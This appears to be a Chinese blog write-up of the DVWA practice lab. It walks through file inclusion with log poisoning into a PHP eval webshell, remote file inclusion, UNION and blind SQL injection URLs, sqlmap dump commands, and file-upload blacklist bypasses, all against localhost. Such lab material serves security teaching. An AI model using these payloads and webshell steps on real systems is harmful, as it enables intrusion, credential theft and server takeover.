目录
- DVWA靶场基本信息
- File Inclusion关卡
- SQL Injection关卡
- SQL Injection(Blind)关卡
- File Upload关卡
- 结尾
DVWA靶场基本信息
登录界面:账号 admin,密码 password#其他默认用户名和密码:admin/password gordonb/abc1231337/charley pablo/letmein smithy/password# 忘记密码连接数据库----查看密码: use dvwa;show tables;----select* fromusers;--- MD5解密File Inclusion关卡
难度等级
- Security : Low
开始
1. 读取敏感文件
- 判断是否有漏洞
点击页面中三个不同的php文件,发现url基本不变http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=xxx.php, 且页面框架基本一致 变化的只有后面的参数
更改url参数
# 根据系统进行更改 ,输入:/etc/passwd c:/windows/win.ini# ulr链接为:http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=c:/windows/win.ini结果: 返回了win.ini内容, 判断有文件包含漏洞
;for16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1[xianshuabao]client_uuid={8140E21C-3990-4bca-A302-2FE5901C649A}- 读取本地敏感文件
- burpsuite标记爆破其他路径,读取文件
结果: 只有c:\Windows\win.ini路径可以读取
2. 读取本地getshell
利用日志写入功能, 将一句话木马写入到日志中, 然后getshell权限
需要知晓服务器日志路径Apache服务器 常见日志文件路径:
Linux 系统:
/var/log/apache2/access.log(访问日志)/var/log/apache2/error.log(错误日志)/var/log/httpd/access_log/var/log/httpd/error_log
Windows 系统:
C:\Apache24\logs\access.logC:\Apache\logs\access.logC:\xampp\apache\logs\access.log(XAMPP环境)C:\wamp\apache2\logs\access.log(WAMP环境)
- 写入一句话木马
url中输入:
http://127.0.0.1/DVWA-master/vulnerabilities/fi/<?php @eval($_POST['cmd']);?>- 找到日志文件路径
这是在本机, 路径清楚, D:\web\tools\php2018\PHPTutorial\Apache\logs\access.log
若是在对方服务器, 则需要自己找到对应的日志文件路径
发现一句话木马被编码了
使用burpsuite抓包, 改回正确的一句话木马
- 连接webshell
此外, 使用蚁剑连接, 请求中填写cookie信息,成功getshell
3. 远程文件包含
- 启用ip服务(或者使用自己云服务器IP)
执行命令
# Windows中python3-mhttp.server--bind0.0.0.012345# linux中python3-mhttp.server1234访问测试
http://127.0.0.1:12345结果: 成功返回数据
- 目标web网站访问攻击者ip地址
执行命令
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://127.0.0.1:12345/cmd.php# hackbar的 body为:cmd=phpinfo();SQL Injection关卡
难度等级
设置等级安全为low, 低等级- Security: Low
正式开始
思路
等级低, 我先尝试联合查询注入输入1 或输入2 , 分别返回不同的用户名
- 判断是否有注入
使用hackbar插件
输入
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1'&Submit=Submit#提示错误了, 说明有注入
- 判断注入类型
输入
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1as&Submit=Submit#页面提示: 正常,返回了用户名
结果: 判断为字符型注入
- 判断闭合方式
输入
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1as'&Submit=Submit#数单引号
结果, 判断闭合方式为单引号
输入
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1'--+&Submit=Submit# http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1we'%23&Submit=Submit#发现正常返回用户名了, 这里使用#号, 注释不行, 得用–+ 或者 %23
- 判断表中列数
输入
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1we' order by2%23&Submit=Submit#其他数量返回错误结果, 只有2时正确, 结果:得到表列数为2列
- 判断显示位
输入
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1we' unionselect11,12%23&Submit=Submit#11, 12 都能显示 ,说明都是显示位, 可以不用id=-1 了
但是这里给出一下
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselectdatabase(),12 %23&Submit=Submit#这样,结果看起来更简洁
- 获取数据库名称
输入
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1we' unionselectdatabase(),12 %23&Submit=Submit#结果: 得到数据库名称dvwa
- 获取表名
输入
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselect(select group_concat(table_name)from information_schema.tables wheretable_schema=database()),12 %23&Submit=Submit#结果,得到表名users , guestbook
- 获取列名
输入1
# 获取了所有列名http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselect(select group_concat(column_name)from information_schema.columns wheretable_schema=database()),12 %23&Submit=Submit#结果: 得到列名comment_id,comment,name,user_id,first_name,last_name,user,password,avatar,last_login,failed_login
输入2
# 仅仅获取users表中的列名http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' union select (select group_concat(column_name) from information_schema.columns where table_name='users' andtable_schema=database()),12 %23&Submit=Submit#结果: 得到users表中的列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login
输入3
# 仅仅获取guestbook表中的列名http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' union select (select group_concat(column_name) from information_schema.columns where table_name='guestbook' andtable_schema=database()),12 %23&Submit=Submit#结果: 得到users表中的列名comment_id,comment,name
- 获取数据
输入1
# 获取users表中的记录userhttp://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselect(select group_concat(user)fromusers),12 %23&Submit=Submit#结果: 得到了用户名admin,gordonb,1337,pablo,smithy
输入2
# 获取users表中的记录passwordhttp://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselect(select group_concat(password)fromusers),12 %23&Submit=Submit#结果: 得到了用户名admin,gordonb,1337,pablo,smithy
输入3
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=-1we' unionselect(select group_concat(password)fromusers),12 %23&Submit=Submit#得到加密的密码
结果: md5解密,得到密码password
- SQLmap获取数据
输入
# 注意禁止拖库 ,仅供演示# dvwa靶场使用sqlmap 必须使用cookie参数sqlmap.py-u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#"--batch-Ddvwa-Tusers-Cpassword--cookie="security=low;PHPSESSID=4392a3si9t0o41a3g5efen0cf5;"--dump结果: 得到密码password,abc123等
SQL Injection(Blind)关卡
- security: Low
说明: sql盲注
思路
已经提示是blind 盲注了, 那就直接进行盲注测试 盲注特征, 页面只会点头和摇头 盲注分类: 布尔盲注 和 时间盲注 用到的主要函数: sleep() length() substr() ascii() limit 0,1开始正式测试
- 是否存在注入
hackbar 中 payload :
http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1' and1=1&Submit=Submit#payload的测试语句
1' and 1=1 --+ 1'and1=2--+输入1, 或 payload: 1' and 1=1 --+ 正常, 存在与数据库中输入过大的数10, 或者 payload: 1' and 1=2 --+ , 错误, 不存在于数据库中页面返回结果不同1' 与前面的单引号完成了闭合 后面的1=1与1=2结果不同, 所以是字符型注入存在字符型注入
- 获取数据库长度
http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1' and length(database()) =4 %23&Submit=Submit# 或 ?id=1'/**/and/**/length(database())=4--+结果: 数据库长度为4
- 获取数据库名
payload
http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1' and ascii(substr((database()),1,1))=100--+&Submit=Submit#进行爆破, 得到数据库名: dvwa
- sqlmap工具使用
sqlmap.py-u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit"--cookie="PHPSESSID=4392a3si9t0o41a3g5efen0cf5;security=low"--batch-pid--dbs综合判断, 数据库名为dvwa
- 获取表的数量
id=1'/**/and/**/(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="dvwa")=2--+结果: 得到表数量为2
- 获取表名
/DVWA-master/vulnerabilities/sqli_blind/?id=1'/**/and/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="dvwa"/**/limit/**/0,1),§1§,1))=§1§--+burpsuite 中添加标记, 进行爆破
结果: 分别得到表名guestbook 与 users
- 获取字段列数
?id=1'/**/and/**/(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='dvwa'/**/and/**//**/table_name='guestbook')=3--+–common-tables 只猜常见表名(极快),或添加 --string=“User ID exists” 明确真条件。
- SQLmap获取数据
File Upload关卡
- Security: Low
难度等级低
1. 判断客户端还是服务端检测
上传cmd.php文件 ,发现刷新按钮有刷新
burpsuite中也抓取到了相应包
结论:服务端检测
2. 判断检查内容还是检查后缀
上传cmd.jpg文件(内容一句话代码) ,上传成功
结论:仅检查了后缀
3. 判断黑白名单
上传任意后缀文件黑白.hiddenhidden,成功
结论:黑名单检测
- 绕过
3.1 后缀大小写绕过
更改文件名为:cmd.PHP,上传文件,成功
3.2 后缀双写绕过
更改文件名为:cmd.pphphp,上传文件, 也成功
3.3 其他可解析后缀绕过
上传cmd.php文件, 修改后缀为phtml, php2.....等等 这里php没加黑名单, 竟然也上传成功了burpsuite中修改后缀,尝试,发现php2也上传成功了
分别使用蚁剑连接, 连接成功 之前尝试路径: http://127.0.0.1/DVWA-master/vulnerabilities/upload/hackable/uploads/cmd.php 失败../: 为定位到根目录,这里根目录则是 DVWA-masterphp2 , pphphp 解析失败
PHP, phtml 解析成功
3.4 图片马+.htaccess配置文件绕过
上传 cmd.png 与 .htaccess文件
蚁剑连接图片马:cmd.png,连接成功
结尾
文章会根据我的知识库, 不断进行优化, 并待续更新中…
欢迎关注我「悟道子HACK笔记」,获取更多:
- 🔥 最新网络安全技术分享
- 🎯 实战靶场源码与解析
- 📚 系统化学习路线指南
- 💡 行业动态与职业发展建议
以上就是今日博客的全部内容了
创作不易,若对您有帮助,可否点赞、关注一二呢,感谢支持.